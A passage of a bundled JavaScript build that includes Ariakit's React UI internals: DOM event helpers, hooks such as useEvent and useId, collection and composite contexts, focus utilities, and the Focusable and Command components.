28779 return -1;
28780 }
28781 if (indexA < indexB) {
28782 isOrderDifferent = true;
28783 }
28784 return 1;
28785 });
28786 if (isOrderDifferent) {
28787 return pairs.map(([_, item]) => item);
28788 }
28789 return items;
28790 }
28791 function isElementPreceding(a2, b2) {
28792 return Boolean(
28793 b2.compareDocumentPosition(a2) & Node.DOCUMENT_POSITION_PRECEDING
28794 );
28795 }
28796
28797 // node_modules/@ariakit/core/esm/__chunks/SNHYQNEZ.js
28798 function isTouchDevice() {
28799 return canUseDOM && !!navigator.maxTouchPoints;
28800 }
28801 function isApple() {
28802 if (!canUseDOM) return false;
28803 return /mac|iphone|ipad|ipod/i.test(navigator.platform);
28804 }
28805 function isSafari() {
28806 return canUseDOM && isApple() && /apple/i.test(navigator.vendor);
28807 }
28808 function isFirefox() {
28809 return canUseDOM && /firefox\//i.test(navigator.userAgent);
28810 }
28811
28812 // node_modules/@ariakit/core/esm/utils/events.js
28813 function isPortalEvent(event) {
28814 return Boolean(
28815 event.currentTarget && !contains(event.currentTarget, event.target)
28816 );
28817 }
28818 function isSelfTarget(event) {
28819 return event.target === event.currentTarget;
28820 }
28821 function isOpeningInNewTab(event) {
28822 const element = event.currentTarget;
28823 if (!element) return false;
28824 const isAppleDevice = isApple();
28825 if (isAppleDevice && !event.metaKey) return false;
28826 if (!isAppleDevice && !event.ctrlKey) return false;
28827 const tagName = element.tagName.toLowerCase();
28828 if (tagName === "a") return true;
28829 if (tagName === "button" && element.type === "submit") return true;
28830 if (tagName === "input" && element.type === "submit") return true;
28831 return false;
28832 }
28833 function isDownloading(event) {
28834 const element = event.currentTarget;
28835 if (!element) return false;
28836 const tagName = element.tagName.toLowerCase();
28837 if (!event.altKey) return false;
28838 if (tagName === "a") return true;
28839 if (tagName === "button" && element.type === "submit") return true;
28840 if (tagName === "input" && element.type === "submit") return true;
28841 return false;
28842 }
28843 function fireBlurEvent(element, eventInit) {
28844 const event = new FocusEvent("blur", eventInit);
28845 const defaultAllowed = element.dispatchEvent(event);
28846 const bubbleInit = { ...eventInit, bubbles: true };
28847 element.dispatchEvent(new FocusEvent("focusout", bubbleInit));
28848 return defaultAllowed;
28849 }
28850 function fireKeyboardEvent(element, type, eventInit) {
28851 const event = new KeyboardEvent(type, eventInit);
28852 return element.dispatchEvent(event);
28853 }
28854 function fireClickEvent(element, eventInit) {
28855 const event = new MouseEvent("click", eventInit);
28856 return element.dispatchEvent(event);
28857 }
28858 function isFocusEventOutside(event, container) {
28859 const containerElement = container || event.currentTarget;
28860 const relatedTarget = event.relatedTarget;
28861 return !relatedTarget || !contains(containerElement, relatedTarget);
28862 }
28863 function queueBeforeEvent(element, type, callback, timeout) {
28864 const createTimer = (callback2) => {
28865 if (timeout) {
28866 const timerId2 = setTimeout(callback2, timeout);
28867 return () => clearTimeout(timerId2);
28868 }
28869 const timerId = requestAnimationFrame(callback2);
28870 return () => cancelAnimationFrame(timerId);
28871 };
28872 const cancelTimer = createTimer(() => {
28873 element.removeEventListener(type, callSync, true);
28874 callback();
28875 });
28876 const callSync = () => {
28877 cancelTimer();
28878 callback();
28879 };
28880 element.addEventListener(type, callSync, { once: true, capture: true });
28881 return cancelTimer;
28882 }
28883 function addGlobalEventListener(type, listener, options, scope = window) {
28884 const children = [];
28885 try {
28886 scope.document.addEventListener(type, listener, options);
28887 for (const frame of Array.from(scope.frames)) {
28888 children.push(addGlobalEventListener(type, listener, options, frame));
28889 }
28890 } catch (e2) {
28891 }
28892 const removeEventListener = () => {
28893 try {
28894 scope.document.removeEventListener(type, listener, options);
28895 } catch (e2) {
28896 }
28897 for (const remove of children) {
28898 remove();
28899 }
28900 };
28901 return removeEventListener;
28902 }
28903
28904 // node_modules/@ariakit/react-core/esm/__chunks/KPHZR4MB.js
28905 var React7 = __toESM(require_react(), 1);
28906 var import_react9 = __toESM(require_react(), 1);
28907 var _React = { ...React7 };
28908 var useReactId = _React.useId;
28909 var useReactDeferredValue = _React.useDeferredValue;
28910 var useReactInsertionEffect = _React.useInsertionEffect;
28911 var useSafeLayoutEffect = canUseDOM ? import_react9.useLayoutEffect : import_react9.useEffect;
28912 function useInitialValue(value) {
28913 const [initialValue] = (0, import_react9.useState)(value);
28914 return initialValue;
28915 }
28916 function useLiveRef(value) {
28917 const ref = (0, import_react9.useRef)(value);
28918 useSafeLayoutEffect(() => {
28919 ref.current = value;
28920 });
28921 return ref;
28922 }
28923 function useEvent(callback) {
28924 const ref = (0, import_react9.useRef)(() => {
28925 throw new Error("Cannot call an event handler while rendering.");
28926 });
28927 if (useReactInsertionEffect) {
28928 useReactInsertionEffect(() => {
28929 ref.current = callback;
28930 });
28931 } else {
28932 ref.current = callback;
28933 }
28934 return (0, import_react9.useCallback)((...args) => {
28935 var _a;
28936 return (_a = ref.current) == null ? void 0 : _a.call(ref, ...args);
28937 }, []);
28938 }
28939 function useTransactionState(callback) {
28940 const [state, setState] = (0, import_react9.useState)(null);
28941 useSafeLayoutEffect(() => {
28942 if (state == null) return;
28943 if (!callback) return;
28944 let prevState = null;
28945 callback((prev) => {
28946 prevState = prev;
28947 return state;
28948 });
28949 return () => {
28950 callback(prevState);
28951 };
28952 }, [state, callback]);
28953 return [state, setState];
28954 }
28955 function useMergeRefs(...refs) {
28956 return (0, import_react9.useMemo)(() => {
28957 if (!refs.some(Boolean)) return;
28958 return (value) => {
28959 for (const ref of refs) {
28960 setRef(ref, value);
28961 }
28962 };
28963 }, refs);
28964 }
28965 function useId5(defaultId) {
28966 if (useReactId) {
28967 const reactId = useReactId();
28968 if (defaultId) return defaultId;
28969 return reactId;
28970 }
28971 const [id, setId] = (0, import_react9.useState)(defaultId);
28972 useSafeLayoutEffect(() => {
28973 if (defaultId || id) return;
28974 const random = Math.random().toString(36).slice(2, 8);
28975 setId(`id-${random}`);
28976 }, [defaultId, id]);
28977 return defaultId || id;
28978 }
28979 function useTagName(refOrElement, type) {
28980 const stringOrUndefined = (type2) => {
28981 if (typeof type2 !== "string") return;
28982 return type2;
28983 };
28984 const [tagName, setTagName] = (0, import_react9.useState)(() => stringOrUndefined(type));
28985 useSafeLayoutEffect(() => {
28986 const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
28987 setTagName((element == null ? void 0 : element.tagName.toLowerCase()) || stringOrUndefined(type));
28988 }, [refOrElement, type]);
28989 return tagName;
28990 }
28991 function useAttribute(refOrElement, attributeName, defaultValue2) {
28992 const initialValue = useInitialValue(defaultValue2);
28993 const [attribute, setAttribute] = (0, import_react9.useState)(initialValue);
28994 (0, import_react9.useEffect)(() => {
28995 const element = refOrElement && "current" in refOrElement ? refOrElement.current : refOrElement;
28996 if (!element) return;
28997 const callback = () => {
28998 const value = element.getAttribute(attributeName);
28999 setAttribute(value == null ? initialValue : value);
29000 };
29001 const observer = new MutationObserver(callback);
29002 observer.observe(element, { attributeFilter: [attributeName] });
29003 callback();
29004 return () => observer.disconnect();
29005 }, [refOrElement, attributeName, initialValue]);
29006 return attribute;
29007 }
29008 function useUpdateEffect(effect, deps) {
29009 const mounted = (0, import_react9.useRef)(false);
29010 (0, import_react9.useEffect)(() => {
29011 if (mounted.current) {
29012 return effect();
29013 }
29014 mounted.current = true;
29015 }, deps);
29016 (0, import_react9.useEffect)(
29017 () => () => {
29018 mounted.current = false;
29019 },
29020 []
29021 );
29022 }
29023 function useUpdateLayoutEffect(effect, deps) {
29024 const mounted = (0, import_react9.useRef)(false);
29025 useSafeLayoutEffect(() => {
29026 if (mounted.current) {
29027 return effect();
29028 }
29029 mounted.current = true;
29030 }, deps);
29031 useSafeLayoutEffect(
29032 () => () => {
29033 mounted.current = false;
29034 },
29035 []
29036 );
29037 }
29038 function useForceUpdate2() {
29039 return (0, import_react9.useReducer)(() => [], []);
29040 }
29041 function useBooleanEvent(booleanOrCallback) {
29042 return useEvent(
29043 typeof booleanOrCallback === "function" ? booleanOrCallback : () => booleanOrCallback
29044 );
29045 }
29046 function useWrapElement(props, callback, deps = []) {
29047 const wrapElement = (0, import_react9.useCallback)(
29048 (element) => {
29049 if (props.wrapElement) {
29050 element = props.wrapElement(element);
29051 }
29052 return callback(element);
29053 },
29054 [...deps, props.wrapElement]
29055 );
29056 return { ...props, wrapElement };
29057 }
29058 function useMetadataProps(props, key, value) {
29059 const parent = props.onLoadedMetadataCapture;
29060 const onLoadedMetadataCapture = (0, import_react9.useMemo)(() => {
29061 return Object.assign(() => {
29062 }, { ...parent, [key]: value });
29063 }, [parent, key, value]);
29064 return [parent == null ? void 0 : parent[key], { onLoadedMetadataCapture }];
29065 }
29066 var hasInstalledGlobalEventListeners = false;
29067 function useIsMouseMoving() {
29068 (0, import_react9.useEffect)(() => {
29069 if (hasInstalledGlobalEventListeners) return;
29070 addGlobalEventListener("mousemove", setMouseMoving, true);
29071 addGlobalEventListener("mousedown", resetMouseMoving, true);
29072 addGlobalEventListener("mouseup", resetMouseMoving, true);
29073 addGlobalEventListener("keydown", resetMouseMoving, true);
29074 addGlobalEventListener("scroll", resetMouseMoving, true);
29075 hasInstalledGlobalEventListeners = true;
29076 }, []);
29077 const isMouseMoving = useEvent(() => mouseMoving);
29078 return isMouseMoving;
29079 }
29080 var mouseMoving = false;
29081 var previousScreenX = 0;
29082 var previousScreenY = 0;
29083 function hasMouseMovement(event) {
29084 const movementX = event.movementX || event.screenX - previousScreenX;
29085 const movementY = event.movementY || event.screenY - previousScreenY;
29086 previousScreenX = event.screenX;
29087 previousScreenY = event.screenY;
29088 return movementX || movementY || false;
29089 }
29090 function setMouseMoving(event) {
29091 if (!hasMouseMovement(event)) return;
29092 mouseMoving = true;
29093 }
29094 function resetMouseMoving() {
29095 mouseMoving = false;
29096 }
29097
29098 // node_modules/@ariakit/react-core/esm/__chunks/GWSL6KNJ.js
29099 var React8 = __toESM(require_react(), 1);
29100 var import_jsx_runtime206 = __toESM(require_jsx_runtime(), 1);
29101 function forwardRef22(render4) {
29102 const Role = React8.forwardRef(
29103 // @ts-ignore Incompatible with React 19 types. Ignore for now.
29104 (props, ref) => render4({ ...props, ref })
29105 );
29106 Role.displayName = render4.displayName || render4.name;
29107 return Role;
29108 }
29109 function memo22(Component, propsAreEqual) {
29110 return React8.memo(Component, propsAreEqual);
29111 }
29112 function createElement5(Type, props) {
29113 const { wrapElement, render: render4, ...rest } = props;
29114 const mergedRef = useMergeRefs(props.ref, getRefProperty(render4));
29115 let element;
29116 if (React8.isValidElement(render4)) {
29117 const renderProps = {
29118 // @ts-ignore Incompatible with React 19 types. Ignore for now.
29119 ...render4.props,
29120 ref: mergedRef
29121 };
29122 element = React8.cloneElement(render4, mergeProps2(rest, renderProps));
29123 } else if (render4) {
29124 element = render4(rest);
29125 } else {
29126 element = /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(Type, { ...rest });
29127 }
29128 if (wrapElement) {
29129 return wrapElement(element);
29130 }
29131 return element;
29132 }
29133 function createHook(useProps) {
29134 const useRole = (props = {}) => {
29135 return useProps(props);
29136 };
29137 useRole.displayName = useProps.name;
29138 return useRole;
29139 }
29140 function createStoreContext(providers = [], scopedProviders = []) {
29141 const context = React8.createContext(void 0);
29142 const scopedContext = React8.createContext(void 0);
29143 const useContext210 = () => React8.useContext(context);
29144 const useScopedContext = (onlyScoped = false) => {
29145 const scoped = React8.useContext(scopedContext);
29146 const store2 = useContext210();
29147 if (onlyScoped) return scoped;
29148 return scoped || store2;
29149 };
29150 const useProviderContext = () => {
29151 const scoped = React8.useContext(scopedContext);
29152 const store2 = useContext210();
29153 if (scoped && scoped === store2) return;
29154 return store2;
29155 };
29156 const ContextProvider = (props) => {
29157 return providers.reduceRight(
29158 (children, Provider) => /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(Provider, { ...props, children }),
29159 /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(context.Provider, { ...props })
29160 );
29161 };
29162 const ScopedContextProvider = (props) => {
29163 return /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(ContextProvider, { ...props, children: scopedProviders.reduceRight(
29164 (children, Provider) => /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(Provider, { ...props, children }),
29165 /* @__PURE__ */ (0, import_jsx_runtime206.jsx)(scopedContext.Provider, { ...props })
29166 ) });
29167 };
29168 return {
29169 context,
29170 scopedContext,
29171 useContext: useContext210,
29172 useScopedContext,
29173 useProviderContext,
29174 ContextProvider,
29175 ScopedContextProvider
29176 };
29177 }
29178
29179 // node_modules/@ariakit/react-core/esm/__chunks/SMPCIMZM.js
29180 var ctx2 = createStoreContext();
29181 var useCollectionContext = ctx2.useContext;
29182 var useCollectionScopedContext = ctx2.useScopedContext;
29183 var useCollectionProviderContext = ctx2.useProviderContext;
29184 var CollectionContextProvider = ctx2.ContextProvider;
29185 var CollectionScopedContextProvider = ctx2.ScopedContextProvider;
29186
29187 // node_modules/@ariakit/react-core/esm/__chunks/AVVXDJMZ.js
29188 var import_react10 = __toESM(require_react(), 1);
29189 var ctx3 = createStoreContext(
29190 [CollectionContextProvider],
29191 [CollectionScopedContextProvider]
29192 );
29193 var useCompositeContext = ctx3.useContext;
29194 var useCompositeScopedContext = ctx3.useScopedContext;
29195 var useCompositeProviderContext = ctx3.useProviderContext;
29196 var CompositeContextProvider = ctx3.ContextProvider;
29197 var CompositeScopedContextProvider = ctx3.ScopedContextProvider;
29198 var CompositeItemContext = (0, import_react10.createContext)(
29199 void 0
29200 );
29201 var CompositeRowContext = (0, import_react10.createContext)(
29202 void 0
29203 );
29204
29205 // node_modules/@ariakit/react-core/esm/__chunks/5VQZOHHZ.js
29206 function findFirstEnabledItem(items, excludeId) {
29207 return items.find((item) => {
29208 if (excludeId) {
29209 return !item.disabled && item.id !== excludeId;
29210 }
29211 return !item.disabled;
29212 });
29213 }
29214 function getEnabledItem(store2, id) {
29215 if (!id) return null;
29216 return store2.item(id) || null;
29217 }
29218 function groupItemsByRows(items) {
29219 const rows = [];
29220 for (const item of items) {
29221 const row = rows.find((currentRow) => {
29222 var _a;
29223 return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
29224 });
29225 if (row) {
29226 row.push(item);
29227 } else {
29228 rows.push([item]);
29229 }
29230 }
29231 return rows;
29232 }
29233 function selectTextField(element, collapseToEnd = false) {
29234 if (isTextField(element)) {
29235 element.setSelectionRange(
29236 collapseToEnd ? element.value.length : 0,
29237 element.value.length
29238 );
29239 } else if (element.isContentEditable) {
29240 const selection = getDocument(element).getSelection();
29241 selection == null ? void 0 : selection.selectAllChildren(element);
29242 if (collapseToEnd) {
29243 selection == null ? void 0 : selection.collapseToEnd();
29244 }
29245 }
29246 }
29247 var FOCUS_SILENTLY = /* @__PURE__ */ Symbol("FOCUS_SILENTLY");
29248 function focusSilently(element) {
29249 element[FOCUS_SILENTLY] = true;
29250 element.focus({ preventScroll: true });
29251 }
29252 function silentlyFocused(element) {
29253 const isSilentlyFocused = element[FOCUS_SILENTLY];
29254 delete element[FOCUS_SILENTLY];
29255 return isSilentlyFocused;
29256 }
29257 function isItem(store2, element, exclude) {
29258 if (!element) return false;
29259 if (element === exclude) return false;
29260 const item = store2.item(element.id);
29261 if (!item) return false;
29262 if (exclude && item.element === exclude) return false;
29263 return true;
29264 }
29265
29266 // node_modules/@ariakit/react-core/esm/__chunks/Z2O3VLAQ.js
29267 var import_react11 = __toESM(require_react(), 1);
29268 var TagName = "div";
29269 var useCollectionItem = createHook(
29270 function useCollectionItem2({
29271 store: store2,
29272 shouldRegisterItem = true,
29273 getItem = identity,
29274 // @ts-expect-error This prop may come from a collection renderer.
29275 element,
29276 ...props
29277 }) {
29278 const context = useCollectionContext();
29279 store2 = store2 || context;
29280 const id = useId5(props.id);
29281 const ref = (0, import_react11.useRef)(element);
29282 (0, import_react11.useEffect)(() => {
29283 const element2 = ref.current;
29284 if (!id) return;
29285 if (!element2) return;
29286 if (!shouldRegisterItem) return;
29287 const item = getItem({ id, element: element2 });
29288 return store2 == null ? void 0 : store2.renderItem(item);
29289 }, [id, shouldRegisterItem, getItem, store2]);
29290 props = {
29291 ...props,
29292 ref: useMergeRefs(ref, props.ref)
29293 };
29294 return removeUndefinedValues(props);
29295 }
29296 );
29297 var CollectionItem = forwardRef22(function CollectionItem2(props) {
29298 const htmlProps = useCollectionItem(props);
29299 return createElement5(TagName, htmlProps);
29300 });
29301
29302 // node_modules/@ariakit/react-core/esm/__chunks/SWN3JYXT.js
29303 var import_react12 = __toESM(require_react(), 1);
29304 var FocusableContext = (0, import_react12.createContext)(true);
29305
29306 // node_modules/@ariakit/core/esm/utils/focus.js
29307 var selector = "input:not([type='hidden']):not([disabled]), select:not([disabled]), textarea:not([disabled]), a[href], button:not([disabled]), [tabindex], summary, iframe, object, embed, area[href], audio[controls], video[controls], [contenteditable]:not([contenteditable='false'])";
29308 function isFocusable(element) {
29309 if (!element.matches(selector)) return false;
29310 if (!isVisible(element)) return false;
29311 if (element.closest("[inert]")) return false;
29312 return true;
29313 }
29314 function getClosestFocusable(element) {
29315 while (element && !isFocusable(element)) {
29316 element = element.closest(selector);
29317 }
29318 return element || null;
29319 }
29320 function hasFocus(element) {
29321 const activeElement = getActiveElement(element);
29322 if (!activeElement) return false;
29323 if (activeElement === element) return true;
29324 const activeDescendant = activeElement.getAttribute("aria-activedescendant");
29325 if (!activeDescendant) return false;
29326 return activeDescendant === element.id;
29327 }
29328 function hasFocusWithin(element) {
29329 const activeElement = getActiveElement(element);
29330 if (!activeElement) return false;
29331 if (contains(element, activeElement)) return true;
29332 const activeDescendant = activeElement.getAttribute("aria-activedescendant");
29333 if (!activeDescendant) return false;
29334 if (!("id" in element)) return false;
29335 if (activeDescendant === element.id) return true;
29336 return !!element.querySelector(`#${CSS.escape(activeDescendant)}`);
29337 }
29338 function focusIfNeeded(element) {
29339 if (!hasFocusWithin(element) && isFocusable(element)) {
29340 element.focus();
29341 }
29342 }
29343 function focusIntoView(element, options) {
29344 if (!("scrollIntoView" in element)) {
29345 element.focus();
29346 } else {
29347 element.focus({ preventScroll: true });
29348 element.scrollIntoView({ block: "nearest", inline: "nearest", ...options });
29349 }
29350 }
29351
29352 // node_modules/@ariakit/react-core/esm/__chunks/U6HHPQDW.js
29353 var import_react13 = __toESM(require_react(), 1);
29354 var TagName2 = "div";
29355 var isSafariBrowser = isSafari();
29356 var alwaysFocusVisibleInputTypes = [
29357 "text",
29358 "search",
29359 "url",
29360 "tel",
29361 "email",
29362 "password",
29363 "number",
29364 "date",
29365 "month",
29366 "week",
29367 "time",
29368 "datetime",
29369 "datetime-local"
29370 ];
29371 var safariFocusAncestorSymbol = /* @__PURE__ */ Symbol("safariFocusAncestor");
29372 function markSafariFocusAncestor(element, value) {
29373 if (!element) return;
29374 element[safariFocusAncestorSymbol] = value;
29375 }
29376 function isAlwaysFocusVisible(element) {
29377 const { tagName, readOnly, type } = element;
29378 if (tagName === "TEXTAREA" && !readOnly) return true;
29379 if (tagName === "SELECT" && !readOnly) return true;
29380 if (tagName === "INPUT" && !readOnly) {
29381 return alwaysFocusVisibleInputTypes.includes(type);
29382 }
29383 if (element.isContentEditable) return true;
29384 const role = element.getAttribute("role");
29385 if (role === "combobox" && element.dataset.name) {
29386 return true;
29387 }
29388 return false;
29389 }
29390 function getLabels(element) {
29391 if ("labels" in element) {
29392 return element.labels;
29393 }
29394 return null;
29395 }
29396 function isNativeCheckboxOrRadio(element) {
29397 const tagName = element.tagName.toLowerCase();
29398 if (tagName === "input" && element.type) {
29399 return element.type === "radio" || element.type === "checkbox";
29400 }
29401 return false;
29402 }
29403 function isNativeTabbable(tagName) {
29404 if (!tagName) return true;
29405 return tagName === "button" || tagName === "summary" || tagName === "input" || tagName === "select" || tagName === "textarea" || tagName === "a";
29406 }
29407 function supportsDisabledAttribute(tagName) {
29408 if (!tagName) return true;
29409 return tagName === "button" || tagName === "input" || tagName === "select" || tagName === "textarea";
29410 }
29411 function getTabIndex(focusable, trulyDisabled, nativeTabbable, supportsDisabled, tabIndexProp) {
29412 if (!focusable) {
29413 return tabIndexProp;
29414 }
29415 if (trulyDisabled) {
29416 if (nativeTabbable && !supportsDisabled) {
29417 return -1;
29418 }
29419 return;
29420 }
29421 if (nativeTabbable) {
29422 return tabIndexProp;
29423 }
29424 return tabIndexProp || 0;
29425 }
29426 function useDisableEvent(onEvent, disabled) {
29427 return useEvent((event) => {
29428 onEvent == null ? void 0 : onEvent(event);
29429 if (event.defaultPrevented) return;
29430 if (disabled) {
29431 event.stopPropagation();
29432 event.preventDefault();
29433 }
29434 });
29435 }
29436 var hasInstalledGlobalEventListeners2 = false;
29437 var isKeyboardModality = true;
29438 function onGlobalMouseDown(event) {
29439 const target = event.target;
29440 if (target && "hasAttribute" in target) {
29441 if (!target.hasAttribute("data-focus-visible")) {
29442 isKeyboardModality = false;
29443 }
29444 }
29445 }
29446 function onGlobalKeyDown(event) {
29447 if (event.metaKey) return;
29448 if (event.ctrlKey) return;
29449 if (event.altKey) return;
29450 isKeyboardModality = true;
29451 }
29452 var useFocusable = createHook(
29453 function useFocusable2({
29454 focusable = true,
29455 accessibleWhenDisabled,
29456 autoFocus,
29457 onFocusVisible,
29458 ...props
29459 }) {
29460 const ref = (0, import_react13.useRef)(null);
29461 (0, import_react13.useEffect)(() => {
29462 if (!focusable) return;
29463 if (hasInstalledGlobalEventListeners2) return;
29464 addGlobalEventListener("mousedown", onGlobalMouseDown, true);
29465 addGlobalEventListener("keydown", onGlobalKeyDown, true);
29466 hasInstalledGlobalEventListeners2 = true;
29467 }, [focusable]);
29468 if (isSafariBrowser) {
29469 (0, import_react13.useEffect)(() => {
29470 if (!focusable) return;
29471 const element = ref.current;
29472 if (!element) return;
29473 if (!isNativeCheckboxOrRadio(element)) return;
29474 const labels = getLabels(element);
29475 if (!labels) return;
29476 const onMouseUp = () => queueMicrotask(() => element.focus());
29477 for (const label of labels) {
29478 label.addEventListener("mouseup", onMouseUp);
29479 }
29480 return () => {
29481 for (const label of labels) {
29482 label.removeEventListener("mouseup", onMouseUp);
29483 }
29484 };
29485 }, [focusable]);
29486 }
29487 const disabled = focusable && disabledFromProps(props);
29488 const trulyDisabled = !!disabled && !accessibleWhenDisabled;
29489 const [focusVisible, setFocusVisible] = (0, import_react13.useState)(false);
29490 (0, import_react13.useEffect)(() => {
29491 if (!focusable) return;
29492 if (trulyDisabled && focusVisible) {
29493 setFocusVisible(false);
29494 }
29495 }, [focusable, trulyDisabled, focusVisible]);
29496 (0, import_react13.useEffect)(() => {
29497 if (!focusable) return;
29498 if (!focusVisible) return;
29499 const element = ref.current;
29500 if (!element) return;
29501 if (typeof IntersectionObserver === "undefined") return;
29502 const observer = new IntersectionObserver(() => {
29503 if (!isFocusable(element)) {
29504 setFocusVisible(false);
29505 }
29506 });
29507 observer.observe(element);
29508 return () => observer.disconnect();
29509 }, [focusable, focusVisible]);
29510 const onKeyPressCapture = useDisableEvent(
29511 props.onKeyPressCapture,
29512 disabled
29513 );
29514 const onMouseDownCapture = useDisableEvent(
29515 props.onMouseDownCapture,
29516 disabled
29517 );
29518 const onClickCapture = useDisableEvent(props.onClickCapture, disabled);
29519 const onMouseDownProp = props.onMouseDown;
29520 const onMouseDown = useEvent((event) => {
29521 onMouseDownProp == null ? void 0 : onMouseDownProp(event);
29522 if (event.defaultPrevented) return;
29523 if (!focusable) return;
29524 const element = event.currentTarget;
29525 if (!isSafariBrowser) return;
29526 if (isPortalEvent(event)) return;
29527 if (!isButton(element) && !isNativeCheckboxOrRadio(element)) return;
29528 let receivedFocus = false;
29529 const onFocus = () => {
29530 receivedFocus = true;
29531 };
29532 const options = { capture: true, once: true };
29533 element.addEventListener("focusin", onFocus, options);
29534 const focusableContainer = getClosestFocusable(element.parentElement);
29535 markSafariFocusAncestor(focusableContainer, true);
29536 queueBeforeEvent(element, "mouseup", () => {
29537 element.removeEventListener("focusin", onFocus, true);
29538 markSafariFocusAncestor(focusableContainer, false);
29539 if (receivedFocus) return;
29540 focusIfNeeded(element);
29541 });
29542 });
29543 const handleFocusVisible = (event, currentTarget) => {
29544 if (currentTarget) {
29545 event.currentTarget = currentTarget;
29546 }
29547 if (!focusable) return;
29548 const element = event.currentTarget;
29549 if (!element) return;
29550 if (!hasFocus(element)) return;
29551 onFocusVisible == null ? void 0 : onFocusVisible(event);
29552 if (event.defaultPrevented) return;
29553 element.dataset.focusVisible = "true";
29554 setFocusVisible(true);
29555 };
29556 const onKeyDownCaptureProp = props.onKeyDownCapture;
29557 const onKeyDownCapture = useEvent((event) => {
29558 onKeyDownCaptureProp == null ? void 0 : onKeyDownCaptureProp(event);
29559 if (event.defaultPrevented) return;
29560 if (!focusable) return;
29561 if (focusVisible) return;
29562 if (event.metaKey) return;
29563 if (event.altKey) return;
29564 if (event.ctrlKey) return;
29565 if (!isSelfTarget(event)) return;
29566 const element = event.currentTarget;
29567 const applyFocusVisible = () => handleFocusVisible(event, element);
29568 queueBeforeEvent(element, "focusout", applyFocusVisible);
29569 });
29570 const onFocusCaptureProp = props.onFocusCapture;
29571 const onFocusCapture = useEvent((event) => {
29572 onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
29573 if (event.defaultPrevented) return;
29574 if (!focusable) return;
29575 if (!isSelfTarget(event)) {
29576 setFocusVisible(false);
29577 return;
29578 }
29579 const element = event.currentTarget;
29580 const applyFocusVisible = () => handleFocusVisible(event, element);
29581 if (isKeyboardModality || isAlwaysFocusVisible(event.target)) {
29582 queueBeforeEvent(event.target, "focusout", applyFocusVisible);
29583 } else {
29584 setFocusVisible(false);
29585 }
29586 });
29587 const onBlurProp = props.onBlur;
29588 const onBlur = useEvent((event) => {
29589 onBlurProp == null ? void 0 : onBlurProp(event);
29590 if (!focusable) return;
29591 if (!isFocusEventOutside(event)) return;
29592 event.currentTarget.removeAttribute("data-focus-visible");
29593 setFocusVisible(false);
29594 });
29595 const autoFocusOnShow = (0, import_react13.useContext)(FocusableContext);
29596 const autoFocusRef = useEvent((element) => {
29597 if (!focusable) return;
29598 if (!autoFocus) return;
29599 if (!element) return;
29600 if (!autoFocusOnShow) return;
29601 queueMicrotask(() => {
29602 if (hasFocus(element)) return;
29603 if (!isFocusable(element)) return;
29604 element.focus();
29605 });
29606 });
29607 const tagName = useTagName(ref);
29608 const nativeTabbable = focusable && isNativeTabbable(tagName);
29609 const supportsDisabled = focusable && supportsDisabledAttribute(tagName);
29610 const styleProp = props.style;
29611 const style = (0, import_react13.useMemo)(() => {
29612 if (trulyDisabled) {
29613 return { pointerEvents: "none", ...styleProp };
29614 }
29615 return styleProp;
29616 }, [trulyDisabled, styleProp]);
29617 props = {
29618 "data-focus-visible": focusable && focusVisible || void 0,
29619 "data-autofocus": autoFocus || void 0,
29620 "aria-disabled": disabled || void 0,
29621 ...props,
29622 ref: useMergeRefs(ref, autoFocusRef, props.ref),
29623 style,
29624 tabIndex: getTabIndex(
29625 focusable,
29626 trulyDisabled,
29627 nativeTabbable,
29628 supportsDisabled,
29629 props.tabIndex
29630 ),
29631 disabled: supportsDisabled && trulyDisabled ? true : void 0,
29632 // TODO: Test Focusable contentEditable.
29633 contentEditable: disabled ? void 0 : props.contentEditable,
29634 onKeyPressCapture,
29635 onClickCapture,
29636 onMouseDownCapture,
29637 onMouseDown,
29638 onKeyDownCapture,
29639 onFocusCapture,
29640 onBlur
29641 };
29642 return removeUndefinedValues(props);
29643 }
29644 );
29645 var Focusable = forwardRef22(function Focusable2(props) {
29646 const htmlProps = useFocusable(props);
29647 return createElement5(TagName2, htmlProps);
29648 });
29649
29650 // node_modules/@ariakit/react-core/esm/__chunks/PZ3OL7I2.js
29651 var import_react14 = __toESM(require_react(), 1);
29652 var TagName3 = "button";
29653 function isNativeClick(event) {
29654 if (!event.isTrusted) return false;
29655 const element = event.currentTarget;
29656 if (event.key === "Enter") {
29657 return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "A";
29658 }
29659 if (event.key === " ") {
29660 return isButton(element) || element.tagName === "SUMMARY" || element.tagName === "INPUT" || element.tagName === "SELECT";
29661 }
29662 return false;
29663 }
29664 var symbol = /* @__PURE__ */ Symbol("command");
29665 var useCommand = createHook(
29666 function useCommand2({ clickOnEnter = true, clickOnSpace = true, ...props }) {
29667 const ref = (0, import_react14.useRef)(null);
29668 const [isNativeButton, setIsNativeButton] = (0, import_react14.useState)(false);
29669 (0, import_react14.useEffect)(() => {
29670 if (!ref.current) return;
29671 setIsNativeButton(isButton(ref.current));
29672 }, []);
29673 const [active, setActive] = (0, import_react14.useState)(false);
29674 const activeRef = (0, import_react14.useRef)(false);
29675 const disabled = disabledFromProps(props);
29676 const [isDuplicate, metadataProps] = useMetadataProps(props, symbol, true);
29677 const onKeyDownProp = props.onKeyDown;
29678 const onKeyDown = useEvent((event) => {
29679 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
29680 const element = event.currentTarget;
29681 if (event.defaultPrevented) return;
29682 if (isDuplicate) return;
29683 if (disabled) return;
29684 if (!isSelfTarget(event)) return;
29685 if (isTextField(element)) return;
29686 if (element.isContentEditable) return;
29687 const isEnter = clickOnEnter && event.key === "Enter";
29688 const isSpace = clickOnSpace && event.key === " ";
29689 const shouldPreventEnter = event.key === "Enter" && !clickOnEnter;
29690 const shouldPreventSpace = event.key === " " && !clickOnSpace;
29691 if (shouldPreventEnter || shouldPreventSpace) {
29692 event.preventDefault();
29693 return;
29694 }
29695 if (isEnter || isSpace) {
29696 const nativeClick = isNativeClick(event);
29697 if (isEnter) {
29698 if (!nativeClick) {
29699 event.preventDefault();
29700 const { view, ...eventInit } = event;
29701 const click = () => fireClickEvent(element, eventInit);
29702 if (isFirefox()) {
29703 queueBeforeEvent(element, "keyup", click);
29704 } else {
29705 queueMicrotask(click);
29706 }
29707 }
